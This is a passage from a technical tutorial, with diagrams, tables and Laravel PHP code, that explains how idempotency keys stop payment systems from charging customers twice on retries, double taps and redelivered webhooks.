<svg viewBox="0 0 680 362" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Sequence diagram. The app sends POST /pay, the server charges the gateway and money moves, the gateway returns 200 OK, but the server's response to the app is lost. The app retries, the server charges again, and the customer is charged twice.">
  <style>
    .h{font:700 13px -apple-system,Segoe UI,Roboto,sans-serif;}
    .t{font:600 12.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .m{font:12px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    .n{font:12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .s{font:11.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#334155;}
  </style>
  <defs>
    <marker id="i2k" viewBox="0 0 10 10" refX="9" refY="5" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L10,5 L0,10 z" fill="#475569" /></marker>
  </defs>
  <rect x="35" y="10" width="150" height="34" rx="8" fill="#f1f5f9" stroke="#cbd5e1" />
  <text class="t" x="110" y="32" text-anchor="middle">Customer App</text>
  <rect x="265" y="10" width="150" height="34" rx="8" fill="#dbeafe" stroke="#93c5fd" />
  <text class="t" x="340" y="32" text-anchor="middle">Your Server</text>
  <rect x="495" y="10" width="150" height="34" rx="8" fill="#fef9c3" stroke="#fde047" />
  <text class="t" x="570" y="32" text-anchor="middle">Payment Gateway</text>
  <path d="M110 44 V352 M340 44 V352 M570 44 V352" stroke="#cbd5e1" stroke-dasharray="4 4" />

  <text class="s" x="225" y="73" text-anchor="middle">1  POST /pay  (LKR 5,000)</text>
  <path d="M110 80 H338" stroke="#475569" stroke-width="1.5" marker-end="url(#i2k)" />
  <text class="s" x="455" y="108" text-anchor="middle">2  charge</text>
  <path d="M340 115 H568" stroke="#475569" stroke-width="1.5" marker-end="url(#i2k)" />
  <rect x="505" y="126" width="130" height="26" rx="6" fill="#dcfce7" stroke="#86efac" />
  <text class="t" x="570" y="144" text-anchor="middle">✓ Money moved</text>
  <text class="s" x="455" y="173" text-anchor="middle">3  200 OK (succeeded)</text>
  <path d="M570 180 H342" stroke="#475569" stroke-width="1.5" marker-end="url(#i2k)" />
  <text class="s" x="225" y="208" text-anchor="middle" fill="#b91c1c">4  Wi-Fi drops, reply never arrives</text>
  <path d="M340 215 H150" stroke="#f87171" stroke-width="1.5" stroke-dasharray="5 4" />
  <text class="h" x="136" y="220" fill="#dc2626">✗</text>
  <rect x="35" y="232" width="150" height="26" rx="6" fill="#fef9c3" stroke="#fde047" />
  <text class="s" x="110" y="249" text-anchor="middle">"Did it fail?" → retry</text>
  <text class="s" x="225" y="280" text-anchor="middle">5  POST /pay  (retry)</text>
  <path d="M110 287 H338" stroke="#475569" stroke-width="1.5" marker-end="url(#i2k)" />
  <text class="s" x="455" y="310" text-anchor="middle">6  charge again</text>
  <path d="M340 317 H568" stroke="#475569" stroke-width="1.5" marker-end="url(#i2k)" />
  <rect x="505" y="326" width="130" height="26" rx="6" fill="#fee2e2" stroke="#fca5a5" />
  <text class="t" x="570" y="344" text-anchor="middle" fill="#b91c1c">✗ Charged twice</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">The server did everything right the first time. The duplicate comes from the retry, and the server can't tell the retry apart from a brand-new payment.</figcaption>
</figure>

<p>There is no network setting that fixes this. Distributed systems can give you <strong>at-most-once</strong> delivery (never retry, so some payments are lost) or <strong>at-least-once</strong> delivery (retry, so some payments arrive twice). “Exactly once” doesn’t exist on the wire. What you can build is <strong>exactly-once processing</strong>: at-least-once delivery combined with an idempotent receiver.</p>

<hr />

<h2 id="real-world-failure-scenarios">Real-world failure scenarios</h2>

<p>These are the duplicate-charge causes that show up again and again in production payment systems.</p>

<div>

  <table>
    <thead>
      <tr>
        <th>#</th>
        <th>Scenario</th>
        <th>What actually happens</th>
        <th>Where the duplicate comes from</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>1</td>
        <td><strong>The double tap</strong></td>
        <td>A slow spinner, so the user taps Pay again or presses Enter twice</td>
        <td>Two separate HTTP requests from the browser</td>
      </tr>
      <tr>
        <td>2</td>
        <td><strong>Mobile network drop</strong></td>
        <td>The charge succeeds, then the phone switches from Wi-Fi to 4G and the reply is lost</td>
        <td>The app’s retry logic</td>
      </tr>
      <tr>
        <td>3</td>
        <td><strong>Refresh / back button</strong></td>
        <td>The user refreshes the “processing” page and the browser re-POSTs the form</td>
        <td>The browser</td>
      </tr>
      <tr>
        <td>4</td>
        <td><strong>Auto-retrying HTTP client</strong></td>
        <td>Your server’s HTTP client times out at 30s, the gateway answers at 35s, and the client retries</td>
        <td>Your own infrastructure (SDKs, proxies, load balancers)</td>
      </tr>
      <tr>
        <td>5</td>
        <td><strong>Queue redelivery</strong></td>
        <td>A worker charges the card and then crashes before acknowledging the job</td>
        <td>The queue, because at-least-once delivery runs the job again</td>
      </tr>
      <tr>
        <td>6</td>
        <td><strong>Webhook redelivery</strong></td>
        <td>The gateway sends <code class="language-plaintext highlighter-rouge">payment.succeeded</code> twice because your 200 reply was slow</td>
        <td>The gateway, and the order ships twice</td>
      </tr>
      <tr>
        <td>7</td>
        <td><strong>Blind failover</strong></td>
        <td>Gateway A times out, so the router retries on gateway B, but A had already charged</td>
        <td>Your failover logic, and now the duplicate is on two different providers</td>
      </tr>
    </tbody>
  </table>

</div>

<p>Scenario 7 is the nastiest. Gateway B can’t know about A’s charge, so the duplicate can’t be detected downstream. The only safe rule is: <strong>never fail over on a timeout</strong>. Treat a timeout as <code class="language-plaintext highlighter-rouge">pending</code> and find out what happened.</p>

<p>Only scenario 1 is “the user’s fault”. Disabling the button fixes that one and none of the others. <strong>Idempotency has to live on the server.</strong></p>

<hr />

<h2 id="the-idea-an-idempotency-key">The idea: an idempotency key</h2>

<p>The client attaches a unique ID to the payment attempt and sends the <strong>same ID on every retry</strong>:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">POST</span> <span class="nn">/api/payments</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
<span class="na">Idempotency-Key</span><span class="p">:</span> <span class="s">7c9e6679-7425-40de-944b-e07fc1f90ae7</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>

<span class="p">{</span><span class="w"> </span><span class="nl">"order_id"</span><span class="p">:</span><span class="w"> </span><span class="mi">1042</span><span class="p">,</span><span class="w"> </span><span class="nl">"payment_method_id"</span><span class="p">:</span><span class="w"> </span><span class="s2">"pm_card_visa"</span><span class="w"> </span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p>The server stores each key with the result it produced. When a key it has already seen arrives, it returns the <strong>stored result</strong> and doesn’t run the payment again.</p>

<figure>
<svg viewBox="0 0 680 398" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Sequence diagram with an idempotency key. The app sends POST /pay with key 7c9e. The server saves the key as processing, charges the gateway with the same key, saves the response as completed, but the reply is lost. The app retries with the same key; the server finds the completed key and returns the same 200 OK without calling the gateway.">
  <style>
    .h{font:700 13px -apple-system,Segoe UI,Roboto,sans-serif;}
    .t{font:600 12.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .m{font:12px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    .n{font:12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .s{font:11.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#334155;}
  </style>
  <defs>
    <marker id="i3k" viewBox="0 0 10 10" refX="9" refY="5" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L10,5 L0,10 z" fill="#475569" /></marker>
    <marker id="i3g" viewBox="0 0 10 10" refX="9" refY="5" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L10,5 L0,10 z" fill="#16a34a" /></marker>
  </defs>
  <rect x="35" y="10" width="150" height="34" rx="8" fill="#f1f5f9" stroke="#cbd5e1" />
  <text class="t" x="110" y="32" text-anchor="middle">Customer App</text>
  <rect x="265" y="10" width="150" height="34" rx="8" fill="#dbeafe" stroke="#93c5fd" />
  <text class="t" x="340" y="32" text-anchor="middle">Your Server</text>
  <rect x="495" y="10" width="150" height="34" rx="8" fill="#fef9c3" stroke="#fde047" />
  <text class="t" x="570" y="32" text-anchor="middle">Payment Gateway</text>
  <path d="M110 44 V388 M340 44 V388 M570 44 V388" stroke="#cbd5e1" stroke-dasharray="4 4" />

  <text class="s" x="225" y="73" text-anchor="middle">1  POST /pay · key 7c9e</text>
  <path d="M110 80 H338" stroke="#475569" stroke-width="1.5" marker-end="url(#i3k)" />
  <rect x="262" y="90" width="156" height="26" rx="6" fill="#dbeafe" stroke="#93c5fd" />
  <text class="s" x="340" y="107" text-anchor="middle">save key → processing</text>
  <text class="s" x="455" y="133" text-anchor="middle">2  charge · key 7c9e</text>
  <path d="M340 140 H568" stroke="#475569" stroke-width="1.5" marker-end="url(#i3k)" />
  <rect x="505" y="150" width="130" height="26" rx="6" fill="#dcfce7" stroke="#86efac" />
  <text class="t" x="570" y="168" text-anchor="middle">✓ Money moved</text>
  <text class="s" x="455" y="193" text-anchor="middle">3  200 OK</text>
  <path d="M570 200 H342" stroke="#475569" stroke-width="1.5" marker-end="url(#i3k)" />
  <rect x="252" y="210" width="176" height="26" rx="6" fill="#dbeafe" stroke="#93c5fd" />
  <text class="s" x="340" y="227" text-anchor="middle">save response → completed</text>
  <text class="s" x="225" y="255" text-anchor="middle" fill="#b91c1c">4  reply lost</text>
  <path d="M340 262 H150" stroke="#f87171" stroke-width="1.5" stroke-dasharray="5 4" />
  <text class="h" x="136" y="267" fill="#dc2626">✗</text>
  <text class="s" x="225" y="293" text-anchor="middle">5  retry · same key 7c9e</text>
  <path d="M110 300 H338" stroke="#475569" stroke-width="1.5" marker-end="url(#i3k)" />
  <rect x="252" y="310" width="176" height="26" rx="6" fill="#dcfce7" stroke="#86efac" />
  <text class="s" x="340" y="327" text-anchor="middle">key found, already completed</text>
  <text class="n" x="570" y="327" text-anchor="middle">(not called again)</text>
  <text class="s" x="225" y="355" text-anchor="middle" fill="#15803d">6  same 200 OK (replayed)</text>
  <path d="M340 362 H112" stroke="#16a34a" stroke-width="1.5" marker-end="url(#i3g)" />
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Same failure as before, with a key this time. The retry gets the original answer and the gateway is called only once. The key is also passed on to the gateway (step 2).</figcaption>
</figure>

<hr />

<h2 id="designing-idempotency-keys-correctly">Designing idempotency keys correctly</h2>

<p>The concept is simple. Most real bugs come from getting the details of the key wrong. Here are seven rules.</p>

<p><strong>1. One key per payment <em>intent</em>, not per HTTP request.</strong> The key stands for “the customer’s attempt to pay order #1042 with this card”. Every retry of that attempt uses the same key. If you generate a new key inside your retry loop, you have switched the protection off.</p>

<p><strong>2. The client generates it, before the first try.</strong> Only the caller knows that two requests are “the same attempt”. Create the key when the checkout starts and keep it (in component state or <code class="language-plaintext highlighter-rouge">sessionStorage</code>) so it survives retries and even a page refresh.</p>

<p><strong>3. Make it unique and unguessable.</strong> Use a UUID (v4, or v7 if you like time-ordered IDs). Timestamps collide, and auto-increment numbers can be guessed, which would let an attacker replay someone else’s result.</p>

<p><strong>4. Scope it to the owner.</strong> Store it as <code class="language-plaintext highlighter-rouge">(user_id, key)</code> or <code class="language-plaintext highlighter-rouge">(merchant_id, key)</code>, not just <code class="language-plaintext highlighter-rouge">key</code>, so two customers can never collide and nobody can read another user’s saved response.</p>

<p><strong>5. Bind it to the request body.</strong> Store a hash of the payload. If the same key comes back with a <strong>different</strong> amount or card, that’s a client bug, and you should reject it (<code class="language-plaintext highlighter-rouge">422</code>) rather than silently replaying the old result.</p>

<p><strong>6. Give it a lifetime.</strong> Keep keys at least as long as any client might still retry. 24 hours is a common choice (Stripe keeps keys for at least that long), and then a scheduled job prunes them.</p>

<p><strong>7. Pass it downstream.</strong> Send the same key (or a key derived from it) to the payment gateway. If your server crashes between charging and saving, the gateway itself will de-duplicate your retry.</p>

<h3 id="what-about-just-using-the-order-id">What about just using the order ID?</h3>

<p>It’s tempting, but <code class="language-plaintext highlighter-rouge">order_id</code> alone is <strong>too coarse</strong>. If the first card is declined, the customer must be able to try a different card for the same order, and that’s a new intent. Good options:</p>

<div>

  <table>
    <thead>
      <tr>
        <th>Key</th>
        <th>Verdict</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><code class="language-plaintext highlighter-rouge">crypto.randomUUID()</code> created at checkout start</td>
        <td>✅ Best default for user-initiated payments</td>
      </tr>
      <tr>
        <td><code class="language-plaintext highlighter-rouge">order:1042:attempt:2</code></td>
        <td>✅ Fine if you track attempts on the server</td>
      </tr>
      <tr>
        <td><code class="language-plaintext highlighter-rouge">renewal:sub_88:2026-10</code></td>
        <td>✅ Great for <strong>server-side</strong> jobs: deterministic, so a re-run of the job produces the same key</td>
      </tr>
      <tr>
        <td><code class="language-plaintext highlighter-rouge">order:1042</code></td>
        <td>⚠️ Blocks a legitimate retry with a different card</td>
      </tr>
      <tr>
        <td><code class="language-plaintext highlighter-rouge">Date.now()</code> or a new UUID per HTTP call</td>
        <td>❌ Every retry looks new, so there’s no protection</td>
      </tr>
      <tr>
        <td><code class="language-plaintext highlighter-rouge">user:17</code></td>
        <td>❌ Collides across every payment the user makes</td>
      </tr>
    </tbody>
  </table>

</div>

<p>The renewal example is worth remembering. For scheduled work there’s no client, so <strong>derive</strong> the key from the business fact (“subscription 88, October billing”). If the cron job runs twice, both runs produce the same key.</p>

<hr />

<h2 id="the-server-side-flow">The server-side flow</h2>

<p>Every request with a key goes through the same decision tree:</p>

<figure>
<svg viewBox="0 0 720 388" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Flowchart. Request arrives. If no Idempotency-Key, return 400. Otherwise insert the key with status processing. If inserted, run payment logic, save the response as completed, return it. If duplicate, load the existing record; if the request hash differs return 422; if not completed return 409; otherwise replay the saved response.">
  <style>
    .h{font:700 13px -apple-system,Segoe UI,Roboto,sans-serif;}
    .t{font:600 12.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .m{font:12px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    .n{font:12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .s{font:11.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#334155;}
  </style>
  <defs>
    <marker id="i4k" viewBox="0 0 10 10" refX="9" refY="5" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L10,5 L0,10 z" fill="#64748b" /></marker>
  </defs>
  <g stroke="#64748b" stroke-width="1.4" fill="none" marker-end="url(#i4k)">
    <path d="M170 44 V64" />
    <path d="M280 84 H358" />
    <path d="M170 102 V124" />
    <path d="M290 144 H358" />
    <path d="M170 162 V184" />
    <path d="M450 162 V184" />
    <path d="M540 204 H573" />
    <path d="M170 222 V244" />
    <path d="M450 222 V244" />
    <path d="M540 264 H573" />
    <path d="M170 282 V304" />
    <path d="M450 282 V304" />
  </g>

  <rect x="100" y="12" width="140" height="32" rx="8" fill="#f1f5f9" stroke="#cbd5e1" />
  <text class="t" x="170" y="33" text-anchor="middle">Request arrives</text>

  <rect x="60" y="66" width="220" height="36" rx="8" fill="#fef9c3" stroke="#fde047" />
  <text class="t" x="170" y="89" text-anchor="middle">Idempotency-Key present?</text>
  <text class="n" x="319" y="78" text-anchor="middle">no</text>
  <rect x="360" y="66" width="180" height="36" rx="8" fill="#fee2e2" stroke="#fca5a5" />
  <text class="t" x="450" y="89" text-anchor="middle">400 Bad Request</text>
  <text class="n" x="180" y="118">yes</text>

  <rect x="50" y="126" width="240" height="36" rx="8" fill="#dbeafe" stroke="#93c5fd" />
  <text class="t" x="170" y="149" text-anchor="middle">INSERT key, status = processing</text>
  <text class="n" x="325" y="138" text-anchor="middle">duplicate</text>
  <rect x="360" y="126" width="180" height="36" rx="8" fill="#f1f5f9" stroke="#cbd5e1" />
  <text class="t" x="450" y="149" text-anchor="middle">Load existing record</text>
  <text class="n" x="180" y="178">inserted</text>

  <rect x="50" y="186" width="240" height="36" rx="8" fill="#fff" stroke="#cbd5e1" />
  <text class="t" x="170" y="209" text-anchor="middle">Run payment logic</text>
  <rect x="360" y="186" width="180" height="36" rx="8" fill="#fef9c3" stroke="#fde047" />
  <text class="t" x="450" y="209" text-anchor="middle">Same request hash?</text>
  <text class="n" x="557" y="198" text-anchor="middle">no</text>
  <rect x="575" y="186" width="140" height="36" rx="8" fill="#fee2e2" stroke="#fca5a5" />
  <text class="t" x="645" y="209" text-anchor="middle">422 Key reused</text>
  <text class="n" x="460" y="238">yes</text>

  <rect x="50" y="246" width="240" height="36" rx="8" fill="#fff" stroke="#cbd5e1" />
  <text class="t" x="170" y="269" text-anchor="middle">Save response, status = completed</text>
  <rect x="360" y="246" width="180" height="36" rx="8" fill="#fef9c3" stroke="#fde047" />
  <text class="t" x="450" y="269" text-anchor="middle">Already completed?</text>
  <text class="n" x="557" y="258" text-anchor="middle">no</text>
  <rect x="575" y="246" width="140" height="36" rx="8" fill="#fee2e2" stroke="#fca5a5" />
  <text class="t" x="645" y="269" text-anchor="middle">409 In progress</text>
  <text class="n" x="460" y="298">yes</text>

  <rect x="80" y="306" width="180" height="36" rx="8" fill="#dcfce7" stroke="#86efac" />
  <text class="t" x="170" y="329" text-anchor="middle">Return response</text>
  <rect x="360" y="306" width="180" height="36" rx="8" fill="#dcfce7" stroke="#86efac" />
  <text class="t" x="450" y="329" text-anchor="middle">Replay saved response</text>

  <text class="n" x="360" y="376" text-anchor="middle">The UNIQUE (user_id, key) index makes the INSERT step safe when two requests arrive at the same moment.</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">Left: the first time a key is seen. Right: every repeat. The status codes follow the IETF <code>Idempotency-Key</code> header draft (400 missing, 422 reused with a different body, 409 still in progress).</figcaption>
</figure>

<h3 id="the-race-condition-you-must-avoid">The race condition you must avoid</h3>

<p>The obvious version is <strong>wrong</strong>:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ Check-then-act: two parallel requests can both pass the check</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="nc">IdempotencyKey</span><span class="o">::</span><span class="nf">where</span><span class="p">(</span><span class="s1">'key'</span><span class="p">,</span> <span class="nv">$key</span><span class="p">)</span><span class="o">-&gt;</span><span class="nf">exists</span><span class="p">())</span> <span class="p">{</span>
    <span class="nc">IdempotencyKey</span><span class="o">::</span><span class="nf">create</span><span class="p">([</span><span class="s1">'key'</span> <span class="o">=&gt;</span> <span class="nv">$key</span><span class="p">]);</span>
    <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">charge</span><span class="p">(</span><span class="mf">...</span><span class="p">);</span>   <span class="c1">// both requests reach this line</span>
<span class="p">}</span>
</code></pre></div></div>

<p>A double tap sends two requests about 50ms apart. Both run the <code class="language-plaintext highlighter-rouge">SELECT</code>, both see nothing, and both charge. The fix is to let the <strong>database</strong> decide: attempt the <code class="language-plaintext highlighter-rouge">INSERT</code> against a <code class="language-plaintext highlighter-rouge">UNIQUE</code> index. Exactly one request can win that insert, however many arrive at once.</p>

<hr />

<h2 id="code-building-it-in-laravel">Code: building it in Laravel</h2>

<h3 id="step-1--the-table">Step 1 — The table</h3>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">Schema</span><span class="o">::</span><span class="nf">create</span><span class="p">(</span><span class="s1">'idempotency_keys'</span><span class="p">,</span> <span class="k">function</span> <span class="p">(</span><span class="kt">Blueprint</span> <span class="nv">$table</span><span class="p">)</span> <span class="p">{</span>
    <span class="nv">$table</span><span class="o">-&gt;</span><span class="nf">id</span><span class="p">();</span>
    <span class="nv">$table</span><span class="o">-&gt;</span><span class="nf">foreignId</span><span class="p">(</span><span class="s1">'user_id'</span><span class="p">)</span><span class="o">-&gt;</span><span class="nf">constrained</span><span class="p">();</span>
    <span class="nv">$table</span><span class="o">-&gt;</span><span class="nf">uuid</span><span class="p">(</span><span class="s1">'key'</span><span class="p">);</span>
    <span class="nv">$table</span><span class="o">-&gt;</span><span class="nf">char</span><span class="p">(</span><span class="s1">'request_hash'</span><span class="p">,</span> <span class="mi">64</span><span class="p">);</span>             <span class="c1">// sha256 of method + path + body</span>
    <span class="nv">$table</span><span class="o">-&gt;</span><span class="nf">string</span><span class="p">(</span><span class="s1">'status'</span><span class="p">,</span> <span class="mi">20</span><span class="p">);</span>                 <span class="c1">// processing | completed</span>
    <span class="nv">$table</span><span class="o">-&gt;</span><span class="nf">unsignedSmallInteger</span><span class="p">(</span><span class="s1">'response_code'</span><span class="p">)</span><span class="o">-&gt;</span><span class="nf">nullable</span><span class="p">();</span>
    <span class="nv">$table</span><span class="o">-&gt;</span><span class="nf">longText</span><span class="p">(</span><span class="s1">'response_body'</span><span class="p">)</span><span class="o">-&gt;</span><span class="nf">nullable</span><span class="p">();</span>
    <span class="nv">$table</span><span class="o">-&gt;</span><span class="nf">timestamps</span><span class="p">();</span>

    <span class="nv">$table</span><span class="o">-&gt;</span><span class="nf">unique</span><span class="p">([</span><span class="s1">'user_id'</span><span class="p">,</span> <span class="s1">'key'</span><span class="p">]);</span>           <span class="c1">// ← this index is the lock</span>
<span class="p">});</span>
</code></pre></div></div>

<h3 id="step-2--the-middleware">Step 2 — The middleware</h3>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">namespace</span> <span class="nn">App\Http\Middleware</span><span class="p">;</span>

<span class="kn">use</span> <span class="nc">App\Models\IdempotencyKey</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Closure</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Illuminate\Database\UniqueConstraintViolationException</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Illuminate\Http\Request</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Illuminate\Support\Str</span><span class="p">;</span>
<span class="kn">use</span> <span class="nc">Symfony\Component\HttpFoundation\Response</span><span class="p">;</span>

<span class="kd">class</span> <span class="nc">EnsureIdempotency</span>
<span class="p">{</span>
    <span class="k">public</span> <span class="k">function</span> <span class="n">handle</span><span class="p">(</span><span class="kt">Request</span> <span class="nv">$request</span><span class="p">,</span> <span class="kt">Closure</span> <span class="nv">$next</span><span class="p">):</span> <span class="kt">Response</span>
    <span class="p">{</span>
        <span class="nv">$key</span> <span class="o">=</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="nb">header</span><span class="p">(</span><span class="s1">'Idempotency-Key'</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="nv">$key</span> <span class="o">||</span> <span class="o">!</span> <span class="nc">Str</span><span class="o">::</span><span class="nf">isUuid</span><span class="p">(</span><span class="nv">$key</span><span class="p">))</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nf">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">json</span><span class="p">([</span><span class="s1">'error'</span> <span class="o">=&gt;</span> <span class="s1">'A UUID Idempotency-Key header is required.'</span><span class="p">],</span> <span class="mi">400</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="nv">$hash</span> <span class="o">=</span> <span class="nb">hash</span><span class="p">(</span><span class="s1">'sha256'</span><span class="p">,</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="nf">method</span><span class="p">()</span><span class="mf">.</span><span class="nv">$request</span><span class="o">-&gt;</span><span class="nf">path</span><span class="p">()</span><span class="mf">.</span><span class="nv">$request</span><span class="o">-&gt;</span><span class="nf">getContent</span><span class="p">());</span>

        <span class="k">try</span> <span class="p">{</span>
            <span class="c1">// Atomic claim: exactly one request can insert this (user_id, key) pair.</span>
            <span class="nv">$record</span> <span class="o">=</span> <span class="nc">IdempotencyKey</span><span class="o">::</span><span class="nf">create</span><span class="p">([</span>
                <span class="s1">'user_id'</span>      <span class="o">=&gt;</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="nf">user</span><span class="p">()</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">,</span>
                <span class="s1">'key'</span>          <span class="o">=&gt;</span> <span class="nv">$key</span><span class="p">,</span>
                <span class="s1">'request_hash'</span> <span class="o">=&gt;</span> <span class="nv">$hash</span><span class="p">,</span>
                <span class="s1">'status'</span>       <span class="o">=&gt;</span> <span class="s1">'processing'</span><span class="p">,</span>
            <span class="p">]);</span>
        <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nc">UniqueConstraintViolationException</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="nf">handleRepeat</span><span class="p">(</span><span class="nv">$request</span><span class="p">,</span> <span class="nv">$key</span><span class="p">,</span> <span class="nv">$hash</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="nv">$response</span> <span class="o">=</span> <span class="nv">$next</span><span class="p">(</span><span class="nv">$request</span><span class="p">);</span>

        <span class="k">if</span> <span class="p">(</span><span class="nv">$response</span><span class="o">-&gt;</span><span class="nf">getStatusCode</span><span class="p">()</span> <span class="o">&gt;=</span> <span class="mi">500</span><span class="p">)</span> <span class="p">{</span>
            <span class="c1">// Our own code failed before any money moved (see Step 3), so allow a clean retry.</span>
            <span class="nv">$record</span><span class="o">-&gt;</span><span class="nb">delete</span><span class="p">();</span>
            <span class="k">return</span> <span class="nv">$response</span><span class="p">;</span>
        <span class="p">}</span>

        <span class="nv">$record</span><span class="o">-&gt;</span><span class="nf">update</span><span class="p">([</span>
            <span class="s1">'status'</span>        <span class="o">=&gt;</span> <span class="s1">'completed'</span><span class="p">,</span>
            <span class="s1">'response_code'</span> <span class="o">=&gt;</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="nf">getStatusCode</span><span class="p">(),</span>
            <span class="s1">'response_body'</span> <span class="o">=&gt;</span> <span class="nv">$response</span><span class="o">-&gt;</span><span class="nf">getContent</span><span class="p">(),</span>
        <span class="p">]);</span>

        <span class="k">return</span> <span class="nv">$response</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">private</span> <span class="k">function</span> <span class="n">handleRepeat</span><span class="p">(</span><span class="kt">Request</span> <span class="nv">$request</span><span class="p">,</span> <span class="kt">string</span> <span class="nv">$key</span><span class="p">,</span> <span class="kt">string</span> <span class="nv">$hash</span><span class="p">):</span> <span class="kt">Response</span>
    <span class="p">{</span>
        <span class="nv">$record</span> <span class="o">=</span> <span class="nc">IdempotencyKey</span><span class="o">::</span><span class="nf">where</span><span class="p">(</span><span class="s1">'user_id'</span><span class="p">,</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="nf">user</span><span class="p">()</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">)</span>
            <span class="o">-&gt;</span><span class="nf">where</span><span class="p">(</span><span class="s1">'key'</span><span class="p">,</span> <span class="nv">$key</span><span class="p">)</span>
            <span class="o">-&gt;</span><span class="nf">firstOrFail</span><span class="p">();</span>

        <span class="k">if</span> <span class="p">(</span><span class="o">!</span> <span class="nb">hash_equals</span><span class="p">(</span><span class="nv">$record</span><span class="o">-&gt;</span><span class="n">request_hash</span><span class="p">,</span> <span class="nv">$hash</span><span class="p">))</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nf">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">json</span><span class="p">([</span><span class="s1">'error'</span> <span class="o">=&gt;</span> <span class="s1">'This key was already used with a different request.'</span><span class="p">],</span> <span class="mi">422</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="k">if</span> <span class="p">(</span><span class="nv">$record</span><span class="o">-&gt;</span><span class="n">status</span> <span class="o">!==</span> <span class="s1">'completed'</span><span class="p">)</span> <span class="p">{</span>
            <span class="k">return</span> <span class="nf">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">json</span><span class="p">([</span><span class="s1">'error'</span> <span class="o">=&gt;</span> <span class="s1">'The original request is still processing.'</span><span class="p">],</span> <span class="mi">409</span><span class="p">)</span>
                <span class="o">-&gt;</span><span class="nb">header</span><span class="p">(</span><span class="s1">'Retry-After'</span><span class="p">,</span> <span class="s1">'2'</span><span class="p">);</span>
        <span class="p">}</span>

        <span class="k">return</span> <span class="nf">response</span><span class="p">(</span><span class="nv">$record</span><span class="o">-&gt;</span><span class="n">response_body</span><span class="p">,</span> <span class="nv">$record</span><span class="o">-&gt;</span><span class="n">response_code</span><span class="p">)</span>
            <span class="o">-&gt;</span><span class="nb">header</span><span class="p">(</span><span class="s1">'Content-Type'</span><span class="p">,</span> <span class="s1">'application/json'</span><span class="p">)</span>
            <span class="o">-&gt;</span><span class="nb">header</span><span class="p">(</span><span class="s1">'Idempotent-Replayed'</span><span class="p">,</span> <span class="s1">'true'</span><span class="p">);</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// routes/api.php</span>
<span class="nc">Route</span><span class="o">::</span><span class="nf">post</span><span class="p">(</span><span class="s1">'/payments'</span><span class="p">,</span> <span class="p">[</span><span class="nc">PaymentController</span><span class="o">::</span><span class="n">class</span><span class="p">,</span> <span class="s1">'store'</span><span class="p">])</span>
    <span class="o">-&gt;</span><span class="nf">middleware</span><span class="p">([</span><span class="s1">'auth:sanctum'</span><span class="p">,</span> <span class="nc">EnsureIdempotency</span><span class="o">::</span><span class="n">class</span><span class="p">]);</span>
</code></pre></div></div>

<p>Things to notice:</p>

<ul>
  <li><strong>Declines are stored too.</strong> A <code class="language-plaintext highlighter-rouge">402 card declined</code> is a <em>final</em> answer, so a retry with the same key gets the same decline. To try another card, the client sends a <strong>new</strong> key.</li>
